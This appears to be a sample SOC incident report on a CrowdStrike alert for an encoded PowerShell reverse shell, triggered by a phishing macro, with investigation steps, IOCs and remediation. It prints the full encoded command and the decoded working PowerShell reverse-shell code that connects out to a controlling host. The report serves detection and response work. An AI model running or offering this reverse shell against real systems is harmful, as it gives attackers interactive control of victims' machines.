CrowdStrike Alert Details
Alert ID: CS-POWERSHELL-1059-7842
Alert Time: 2024-02-13 10:22:15 EST
Severity: HIGH (88/100)
Source: CrowdStrike Falcon EDR
Rule: “Suspicious PowerShell Command Line – Encoded Execution”
MITRE ATT&CK: T1059.001 – Command & Scripting Interpreter: PowerShell
Alert Details:
Detection: PowerShell executed with encoded command and hidden window
Host: FIN-WS-045 (Finance Department)
User: bturner (Brian Turner, Accountant)
Time: 10:18 EST
Process Tree:
– explorer.exe (PID: 3421)
– powershell.exe (PID: 4789)
– Command Line: powershell.exe -NoP -NonI -W Hidden -Enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQA5ADIALgAxADYAOAAuADQANQAuADEAMgAnACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAeQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACcAPgAgACcAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
Decoded Command:
– Reverse shell to 192.168.45.12:443
– Interactive PowerShell session
– Masquerading as normal process
Network Connection:
– Destination: 192.168.45.12:443 (Internal IP – Unusual)
– Protocol: TCP
– Status: Established at 10:19 EST
Additional Context:
– User bturner normally does not use PowerShell
– Parent process explorer.exe (unusual for PowerShell)
– Encoded command is base64 for reverse shell
SOC Investigation Process
| Step | Action | Tools Used | Findings |
|---|---|---|---|
| 1. Alert Validation | Verify CrowdStrike alert | CrowdStrike Falcon Console | Confirmed malicious PowerShell execution |
| 2. Command Decoding | Decode base64 command | PowerShell, CyberChef | Reverse shell to internal IP 192.168.45.12 |
| 3. Immediate Containment | Isolate host | CrowdStrike Network Containment | Host isolated; process terminated |
| 4. Destination Investigation | Identify 192.168.45.12 | Splunk, CMDB | IP belongs to ENG-WS-023 (compromised engineering workstation) |
| 5. Second Host Isolation | Isolate C2 host | CrowdStrike | ENG-WS-023 isolated |
| 6. User Interview | Contact both users | Phone, Teams | Both users unaware; malware identified |
Jira Incident Report
Ticket: SOC-2024-066
Summary: T1059 – PowerShell Reverse Shell Execution from Finance Workstation
Status: RESOLVED
Resolution: MALICIOUS – C2 Communication Blocked
Priority: P1 – HIGH
Labels: T1059, powershell, command-interpreter, reverse-shell, crowdstrike
Components: Endpoint-Security, Incident-Response
INCIDENT ANALYSIS REPORT
1. Initial Context:
- Detection Source: CrowdStrike Falcon EDR.
- Alert: “Suspicious PowerShell Command Line – Encoded Execution”.
- Host: FIN-WS-045 (Finance Department, user bturner).
- Time: 2024-02-13 10:22 EST.
- Technique: MITRE ATT&CK T1059.001 – Command & Scripting Interpreter: PowerShell.
2. Technical Analysis:
- Command Analysis:
- Encoded command base64 decoded to:
$client = New-Object System.Net.Sockets.TCPClient(‘192.168.45.12’,443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
- Function: Reverse shell connecting to 192.168.45.12 on port 443
- Capabilities: Full interactive PowerShell session for attacker
- Attack Chain:
- User bturner opened phishing email attachment (Excel macro)
- Macro executed PowerShell with encoded command
- PowerShell established reverse shell to attacker-controlled internal host (ENG-WS-023)
- Attacker used engineering workstation as C2 pivot
- C2 Infrastructure:
- Primary C2: 192.168.45.12 (ENG-WS-023) – Internal pivot
- External C2: 185.143.221[.]89 (from engineering host logs)
- Method: Chained connection (Finance → Engineering → External)
3. Investigation Findings:
- Timeline:
10:15 – User opens phishing email
10:16 – Excel macro executes
10:17 – PowerShell launches with encoded command
10:18 – Reverse shell connects to ENG-WS-023
10:19 – Connection established
10:22 – CrowdStrike alert triggers
10:23 – FIN-WS-045 isolated
10:25 – ENG-WS-023 identified and isolated
- Scope:
- 2 hosts compromised
- No lateral movement beyond these hosts
- No data exfiltration detected
- Indicators of Compromise (IoCs):
Network:
– Internal C2: 192.168.45.12:443
– External C2: 185.143.221[.]89:443
Files:
– invoice_7823.xlsm (SHA256: a1b2c3…)
– C:\Windows\Temp\svchost.exe (SHA256: d4e5f6…)
Processes:
– powershell.exe with encoded command
4. Containment Actions:
- Immediate Actions:
- Isolated both hosts via CrowdStrike.
- Terminated malicious processes.
- Blocked external C2 IP at firewall.
- Forensic Collection:
- Captured memory from both hosts.
- Extracted macro and payloads.
- Analyzed reverse shell traffic.
- Remediation:
- Re-imaged both workstations.
- Reset user passwords.
- Phishing awareness training for users.
5. Root Cause Analysis:
- Primary Cause: Phishing email with malicious macro.
- Contributing Factors:
- Macros enabled in Office.
- No ASR rule blocking Office child processes.
- Internal host used as C2 pivot (detected).
6. Business Impact:
- Operational Impact: Two workstations offline for 4 hours.
- Data Exposure: None (no exfiltration).
7. Remediation & Prevention:
Completed Actions:
Hosts remediated.
Users educated.
IOCs blocked.
Technical Controls Enhanced:
Enabled ASR rule “Block Office applications from creating child processes”.
Blocked macros from internet via GPO.
Enhanced PowerShell logging.
8. Conclusion:
Attackers used a phishing email with malicious macro to execute a PowerShell reverse shell, using an internal engineering workstation as a pivot. Rapid detection and containment prevented data exfiltration.
Closure Rationale: Hosts remediated; attacker blocked; enhanced controls implemented.
Analyst: [Walter White], SOC Analyst
Date: 2024-02-13 12:00 EST